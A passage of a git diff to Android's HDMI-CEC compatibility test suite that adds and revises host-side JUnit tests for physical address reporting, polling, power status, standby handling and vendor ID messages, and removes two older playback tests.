+ String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
+ int deviceType = CecMessage.getParams(message, 4, 6);
+ assertThat(CecMessage.getSource(message).getDeviceType()).isEqualTo(deviceType);
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java
new file mode 100644
index 0000000..94bfa51
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+/** HDMI CEC test to verify physical address after device reboot (Section 10.1.2) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecPhysicalAddressTest extends BaseHdmiCecCtsTest {
+
+ @Rule
+ public RuleChain ruleChain =
+ RuleChain
+ .outerRule(CecRules.requiresCec(this))
+ .around(CecRules.requiresLeanback(this))
+ .around(hdmiCecClient);
+ /**
+ * Test 10.1.2-1
+ * <p>Tests that the device broadcasts a {@code <REPORT_PHYSICAL_ADDRESS>} after a reboot and
+ * that the device has taken the correct physical address.
+ */
+ @Test
+ public void cect_10_1_2_1_RebootPhysicalAddress() throws Exception {
+ ITestDevice device = getDevice();
+ String deviceType = device.getProperty(HdmiCecConstants.HDMI_DEVICE_TYPE_PROPERTY);
+ int physicalAddress =
+ deviceType.equals(Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_TV))
+ ? 0x0000
+ : dutPhysicalAddress;
+ device.reboot();
+ String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
+ CecMessage.assertPhysicalAddressValid(message, physicalAddress);
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
new file mode 100644
index 0000000..1d4a389
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecClientMessage;
+import android.hdmicec.cts.CecVersionHelper;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/** HDMI CEC tests related to polling */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecPollingTest extends BaseHdmiCecCtsTest {
+
+ @Rule
+ public RuleChain ruleChain =
+ RuleChain
+ .outerRule(CecRules.requiresCec(this))
+ .around(CecRules.requiresLeanback(this))
+ .around(hdmiCecClient);
+
+ /**
+ * Test 11.2.6-1
+ * Tests for Ack {@code <Polling Message>} message.
+ */
+ @Test
+ public void cect_11_2_6_1_Ack() throws Exception {
+ String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
+ String expectedOutput = "POLL sent";
+ hdmiCecClient.sendConsoleMessage(command);
+ if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
+ throw new Exception("Could not find " + expectedOutput);
+ }
+ }
+
+ /**
+ * Test HF4-2-10
+ * Verify {@code <Polling Message>} message is acknowledged in all states.
+ *
+ * Explicitly changes that polling messages are handled in standby power states.
+ */
+ @Test
+ public void cect_hf4_2_10_Ack() throws Exception {
+ ITestDevice device = getDevice();
+ CecVersionHelper.setCec20(device);
+
+ device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+
+ String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
+ String expectedOutput = "POLL sent";
+ hdmiCecClient.sendConsoleMessage(command);
+ if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
+ throw new Exception("Could not find " + expectedOutput);
+ }
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
index c53d7c5..68bbf51 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
@@ -28,18 +28,27 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
+import java.util.concurrent.TimeUnit;
+
/**
* HDMI CEC tests verifying power status related messages of the device (CEC 2.0 CTS Section 7.6)
*/
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecPowerStatusTest extends BaseHdmiCecCtsTest {
+ private static final int ON = 0x0;
+ private static final int OFF = 0x1;
+ private static final int IN_TRANSITION_TO_STANDBY = 0x3;
+
+ private static final int SLEEP_TIMESTEP_SECONDS = 1;
+ private static final int WAIT_TIME = 5;
+ private static final int MAX_SLEEP_TIME = 8;
+
@Rule
public RuleChain mRuleChain =
RuleChain
@@ -60,12 +69,21 @@
// Move device to standby
device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+ TimeUnit.SECONDS.sleep(WAIT_TIME);
// Turn device on
device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ TimeUnit.SECONDS.sleep(WAIT_TIME);
String reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
CecOperand.REPORT_POWER_STATUS);
+
+ if (CecMessage.getParams(reportPowerStatus) == HdmiCecConstants.CEC_POWER_STATUS_STANDBY) {
+ // Received the "turning off" broadcast, check for the next broadcast message
+ reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+ CecOperand.REPORT_POWER_STATUS);
+ }
+
assertThat(CecMessage.getParams(reportPowerStatus)).isEqualTo(
HdmiCecConstants.CEC_POWER_STATUS_ON);
}
@@ -83,14 +101,74 @@
// Turn device on
device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ TimeUnit.SECONDS.sleep(WAIT_TIME);
// Move device to standby
device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+ TimeUnit.SECONDS.sleep(WAIT_TIME);
String reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
CecOperand.REPORT_POWER_STATUS);
+
+ if (CecMessage.getParams(reportPowerStatus) == HdmiCecConstants.CEC_POWER_STATUS_ON) {
+ // Received the "wake up" broadcast, check for the next broadcast message
+ reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+ CecOperand.REPORT_POWER_STATUS);
+ }
+
assertThat(CecMessage.getParams(reportPowerStatus)).isEqualTo(
HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
}
+ /**
+ * Test 11.1.14-1, 11.2.14-1
+ *
+ * <p>Tests that the device sends a {@code <REPORT_POWER_STATUS>} with params 0x0 when the
+ * device is powered on.
+ */
+ @Test
+ public void cect_PowerStatusWhenOn() throws Exception {
+ ITestDevice device = getDevice();
+ /* Make sure the device is not booting up/in standby */
+ device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ LogicalAddress cecClientDevice = hdmiCecClient.getSelfDevice();
+ hdmiCecClient.sendCecMessage(cecClientDevice, CecOperand.GIVE_POWER_STATUS);
+ String message =
+ hdmiCecClient.checkExpectedOutput(cecClientDevice, CecOperand.REPORT_POWER_STATUS);
+ assertThat(CecMessage.getParams(message)).isEqualTo(ON);
+ }
+
+ /**
+ * Test 11.2.14-1, 11.2.14-2
+ *
+ * <p>Tests that the device sends a {@code <REPORT_POWER_STATUS>} with params 0x1 when the
+ * device is powered off.
+ */
+ @Test
+ public void cect_PowerStatusWhenOff() throws Exception {
+ ITestDevice device = getDevice();
+ try {
+ /* Make sure the device is not booting up/in standby */
+ device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ /* The sleep below could send some devices into a deep suspend state. */
+ device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+ TimeUnit.SECONDS.sleep(WAIT_TIME);
+ int waitTimeSeconds = WAIT_TIME;
+ int powerStatus;
+ LogicalAddress cecClientDevice = hdmiCecClient.getSelfDevice();
+ do {
+ TimeUnit.SECONDS.sleep(SLEEP_TIMESTEP_SECONDS);
+ waitTimeSeconds += SLEEP_TIMESTEP_SECONDS;
+ hdmiCecClient.sendCecMessage(cecClientDevice, CecOperand.GIVE_POWER_STATUS);
+ powerStatus =
+ CecMessage.getParams(
+ hdmiCecClient.checkExpectedOutput(
+ cecClientDevice, CecOperand.REPORT_POWER_STATUS));
+ } while (powerStatus == IN_TRANSITION_TO_STANDBY && waitTimeSeconds <= MAX_SLEEP_TIME);
+ assertThat(powerStatus).isEqualTo(OFF);
+ } finally {
+ /* Wake up the device */
+ device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ }
+ }
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
index c8868a8..f355af0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
@@ -21,7 +21,6 @@
import static com.google.common.truth.Truth.assertThat;
import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecClientMessage;
import android.hdmicec.cts.CecMessage;
import android.hdmicec.cts.CecOperand;
import android.hdmicec.cts.CecVersionHelper;
@@ -35,6 +34,9 @@
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
+import java.util.Arrays;
+import java.util.List;
+
/** HDMI CEC system information tests (Section 11.2.6) */
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
@@ -47,32 +49,33 @@
.around(hdmiCecClient);
/**
- * Test 11.2.6-1
- * Tests for Ack {@code <Polling Message>} message.
- */
- @Test
- public void cect_11_2_6_1_Ack() throws Exception {
- String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
- String expectedOutput = "POLL sent";
- hdmiCecClient.sendConsoleMessage(command);
- if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
- throw new Exception("Could not find " + expectedOutput);
- }
- }
-
- /**
- * Test 11.2.6-2
- * Tests that the device sends a {@code <Report Physical Address>} in response to a
- * {@code <Give Physical Address>}
+ * Tests 11.2.6-2, 10.1.1.1-1
+ *
+ * <p>Tests that the device sends a {@code <Report Physical Address>} in response to a {@code
+ * <Give Physical Address>}
*/
@Test
public void cect_11_2_6_2_GivePhysicalAddress() throws Exception {
- hdmiCecClient.sendCecMessage(CecOperand.GIVE_PHYSICAL_ADDRESS);
- String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
- /* Check that the physical address taken is valid. */
- CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
- int receivedParams = CecMessage.getParams(message);
- assertThat(receivedParams & 0xFF).isEqualTo(mDutLogicalAddress.getDeviceType());
+ List<LogicalAddress> testDevices =
+ Arrays.asList(
+ LogicalAddress.TV,
+ LogicalAddress.RECORDER_1,
+ LogicalAddress.TUNER_1,
+ LogicalAddress.PLAYBACK_1,
+ LogicalAddress.AUDIO_SYSTEM,
+ LogicalAddress.BROADCAST);
+ for (LogicalAddress testDevice : testDevices) {
+ if (testDevice == mDutLogicalAddress) {
+ /* Skip the DUT logical address */
+ continue;
+ }
+ hdmiCecClient.sendCecMessage(testDevice, CecOperand.GIVE_PHYSICAL_ADDRESS);
+ String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
+ /* Check that the physical address taken is valid. */
+ CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
+ int receivedParams = CecMessage.getParams(message);
+ assertThat(receivedParams & 0xFF).isEqualTo(mDutLogicalAddress.getDeviceType());
+ }
}
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
new file mode 100644
index 0000000..33d514e
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * HDMI CEC test to verify the device handles standby correctly (Section 11.1.3, 11.2.3)
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecSystemStandbyTest extends BaseHdmiCecCtsTest {
+
+ private static final String HDMI_CONTROL_DEVICE_AUTO_OFF =
+ "hdmi_control_auto_device_off_enabled";
+
+ public List<LogicalAddress> mLogicalAddresses = new ArrayList<>();
+ public boolean wasOn;
+
+ @Rule
+ public RuleChain ruleChain =
+ RuleChain
+ .outerRule(CecRules.requiresCec(this))
+ .around(CecRules.requiresLeanback(this))
+ .around(hdmiCecClient);
+
+ @Before
+ public void initialTestSetup() throws Exception {
+ defineLogicalAddressList();
+ wasOn = setHdmiControlDeviceAutoOff(false);
+ }
+
+ @After
+ public void resetDutState() throws Exception {
+ /* Wake up the device */
+ getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ setHdmiControlDeviceAutoOff(wasOn);
+ }
+
+ /**
+ * Test 11.1.3-2, 11.2.3-2<br>
+ * Tests that the device goes into standby when a {@code <STANDBY>} message is broadcast.
+ */
+ @Test
+ public void cect_HandleBroadcastStandby() throws Exception {
+ getDevice().reboot();
+ TimeUnit.SECONDS.sleep(5);
+ for (LogicalAddress source : mLogicalAddresses) {
+ if (!source.equals(mDutLogicalAddress)) {
+ checkDeviceAsleepAfterStandbySent(source, LogicalAddress.BROADCAST);
+ }
+ }
+ }
+
+ /**
+ * Test 11.1.3-3, 11.2.3-3<br>
+ * Tests that the device goes into standby when a {@code <STANDBY>} message is sent to it.
+ */
+ @Test
+ public void cect_HandleAddressedStandby() throws Exception {
+ getDevice().reboot();
+ for (LogicalAddress source : mLogicalAddresses) {
+ if (!source.equals(mDutLogicalAddress)) {
+ checkDeviceAsleepAfterStandbySent(source, mDutLogicalAddress);
+ }
+ }
+ }
+
+ /**
+ * Test 11.2.3-4<br>
+ * Tests that the device does not broadcast a {@code <STANDBY>} when going into standby mode.
+ */
+ @Test
+ public void cect_11_2_3_4_NoBroadcastStandby() throws Exception {
+ /*
+ * CEC CTS does not specify for TV a no broadcast on standby test. On Android TVs, there is
+ * a feature to turn off this standby broadcast and this test tests the same.
+ */
+ ITestDevice device = getDevice();
+ device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+ hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.BROADCAST,
+ CecOperand.STANDBY);
+ }
+
+ private void defineLogicalAddressList() throws Exception {
+ /* TODO: b/174279917 Add LogicalAddress.BROADCAST to this list as well. */
+ mLogicalAddresses.add(LogicalAddress.TV);
+ mLogicalAddresses.add(LogicalAddress.RECORDER_1);
+ mLogicalAddresses.add(LogicalAddress.TUNER_1);
+ mLogicalAddresses.add(LogicalAddress.PLAYBACK_1);
+ mLogicalAddresses.add(LogicalAddress.AUDIO_SYSTEM);
+
+ if (mDutLogicalAddress.getDeviceType() == HdmiCecConstants.CEC_DEVICE_TYPE_TV) {
+ //Add logical addresses 13, 14 only for TV panel tests.
+ mLogicalAddresses.add(LogicalAddress.RESERVED_2);
+ mLogicalAddresses.add(LogicalAddress.SPECIFIC_USE);
+ }
+ }
+
+ private boolean setHdmiControlDeviceAutoOff(boolean turnOn) throws Exception {
+ ITestDevice device = getDevice();
+ String val = device.executeShellCommand("settings get global " +
+ HDMI_CONTROL_DEVICE_AUTO_OFF).trim();
+ String valToSet = turnOn ? "1" : "0";
+ device.executeShellCommand("settings put global "
+ + HDMI_CONTROL_DEVICE_AUTO_OFF + " " + valToSet);
+ device.executeShellCommand("settings get global " + HDMI_CONTROL_DEVICE_AUTO_OFF);
+ return val.equals("1");
+ }
+
+ private void checkDeviceAsleepAfterStandbySent(LogicalAddress source,
+ LogicalAddress destination) throws Exception {
+ ITestDevice device = getDevice();
+ hdmiCecClient.sendCecMessage(source, destination, CecOperand.STANDBY);
+ TimeUnit.SECONDS.sleep(5);
+ String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+ assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+ device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ TimeUnit.SECONDS.sleep(5);
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
new file mode 100644
index 0000000..e3d1d82
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeTrue;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+/** HDMI CEC test to verify device vendor specific commands (Section 11.2.9) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecVendorCommandsTest extends BaseHdmiCecCtsTest {
+
+ private static final int INCORRECT_VENDOR_ID = 0x0;
+
+ @Rule
+ public RuleChain ruleChain =
+ RuleChain
+ .outerRule(CecRules.requiresCec(this))
+ .around(CecRules.requiresLeanback(this))
+ .around(hdmiCecClient);
+
+ /**
+ * Test 11.2.9-1
+ * <p>Tests that the device responds to a {@code <GIVE_DEVICE_VENDOR_ID>} from various source
+ * devices with a {@code <DEVICE_VENDOR_ID>}.
+ */
+ @Test
+ public void cect_11_2_9_1_GiveDeviceVendorId() throws Exception {
+ for (LogicalAddress logicalAddress : LogicalAddress.values()) {
+ // Skip the logical address of this device
+ if (logicalAddress == mDutLogicalAddress) {
+ continue;
+ }
+ hdmiCecClient.sendCecMessage(logicalAddress, CecOperand.GIVE_DEVICE_VENDOR_ID);
+ String message = hdmiCecClient.checkExpectedOutput(CecOperand.DEVICE_VENDOR_ID);
+ assertThat(CecMessage.getParams(message)).isNotEqualTo(INCORRECT_VENDOR_ID);
+ }
+ }
+
+ /**
+ * Test 11.2.9-2
+ * <p>Tests that the device broadcasts a {@code <DEVICE_VENDOR_ID>} message after successful
+ * initialisation and address allocation.
+ */
+ @Test
+ public void cect_11_2_9_2_DeviceVendorIdOnInit() throws Exception {
+ ITestDevice device = getDevice();
+ device.reboot();
+ String message = hdmiCecClient.checkExpectedOutput(CecOperand.DEVICE_VENDOR_ID);
+ assertThat(CecMessage.getParams(message)).isNotEqualTo(INCORRECT_VENDOR_ID);
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecLogicalAddressTest.java
deleted file mode 100644
index 40b2d37..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecLogicalAddressTest.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecMessage;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-/** HDMI CEC test to verify physical address after device reboot (Section 10.2.3) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecLogicalAddressTest extends BaseHdmiCecCtsTest {
-
- private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
-
- public HdmiCecLogicalAddressTest() {
- super(PLAYBACK_DEVICE);
- }
-
- @Rule
- public RuleChain ruleChain =
- RuleChain
- .outerRule(CecRules.requiresCec(this))
- .around(CecRules.requiresLeanback(this))
- .around(CecRules.requiresDeviceType(this, PLAYBACK_DEVICE))
- .around(hdmiCecClient);
-
- /**
- * Test 10.2.3-1
- * Tests that the device broadcasts a <REPORT_PHYSICAL_ADDRESS> after a reboot and that the
- * device has taken the logical address "4".
- */
- @Test
- public void cect_10_2_3_1_RebootLogicalAddress() throws Exception {
- ITestDevice device = getDevice();
- device.executeShellCommand("reboot");
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
- String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
- assertThat(CecMessage.getSource(message)).isEqualTo(PLAYBACK_DEVICE);
- }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
index a47a81d..b91b90a 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
@@ -38,22 +38,6 @@
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecOneTouchPlayTest extends BaseHdmiCecCtsTest {
- private static final int PHYSICAL_ADDRESS = 0x1000;
- /**
- * The package name of the APK.
- */
- private static final String HDMI_CEC_HELPER_PACKAGE = "android.hdmicec.app";
- /**
- * The class name of the main activity in the APK.
- */
- private static final String HDMI_CONTROL_HELPER_CLASS = "HdmiControlManagerHelper";
- /**
- * Intent to trigger an OTP.
- */
- private static final String OTP_ACTION = String.format(
- "android.hdmicec.app.OTP -n %s/%s.%s", HDMI_CEC_HELPER_PACKAGE, HDMI_CEC_HELPER_PACKAGE,
- HDMI_CONTROL_HELPER_CLASS);
-
/** Intent to launch the remote pairing activity */
private static final String ACTION_CONNECT_INPUT_NORMAL =
"com.google.android.intent.action.CONNECT_INPUT";
@@ -82,10 +66,9 @@
/**
* Test 11.2.1-1
- * Tests that the device sends a <TEXT_VIEW_ON> when the home key is pressed on device, followed
- * by a <ACTIVE_SOURCE> message.
+ * Tests that the device sends a {@code <Text View On>} when the "One Touch Play" function is
+ * invoked on the device, followed by a {@code <Active Source>} message.
*/
- @Ignore("b/169755426")
@Test
public void cect_11_2_1_1_OneTouchPlay() throws Exception {
ITestDevice device = getDevice();
@@ -97,8 +80,8 @@
}
/**
- * Tests that the device sends a <TEXT_VIEW_ON> when the pairing activity is started on
- * device, followed by a <ACTIVE_SOURCE> message.
+ * Tests that the device sends a {@code <Text View On>} when the pairing activity is started on
+ * device, followed by a {@code <Active Source>} message.
*/
@Test
public void cect_PairingActivity_OneTouchPlay() throws Exception {
@@ -112,11 +95,6 @@
}
private void sendOtp(ITestDevice device) throws Exception {
- // Clear activity
- device.executeShellCommand(FORCE_STOP_COMMAND + HDMI_CEC_HELPER_PACKAGE);
- // Clear logcat.
- device.executeAdbCommand("logcat", "-c");
- // Start the APK and wait for it to complete.
- device.executeShellCommand(START_COMMAND + OTP_ACTION);
+ device.executeShellCommand("cmd hdmi_control onetouchplay");
}
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPhysicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPhysicalAddressTest.java
deleted file mode 100644
index 28d8d9510..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPhysicalAddressTest.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecMessage;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-/** HDMI CEC test to verify physical address after device reboot (Section 10.1.2) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecPhysicalAddressTest extends BaseHdmiCecCtsTest {
-
- public HdmiCecPhysicalAddressTest() {
- super(LogicalAddress.PLAYBACK_1);
- }
-
- @Rule
- public RuleChain ruleChain =
- RuleChain
- .outerRule(CecRules.requiresCec(this))
- .around(CecRules.requiresLeanback(this))
- .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
- .around(hdmiCecClient);
- /**
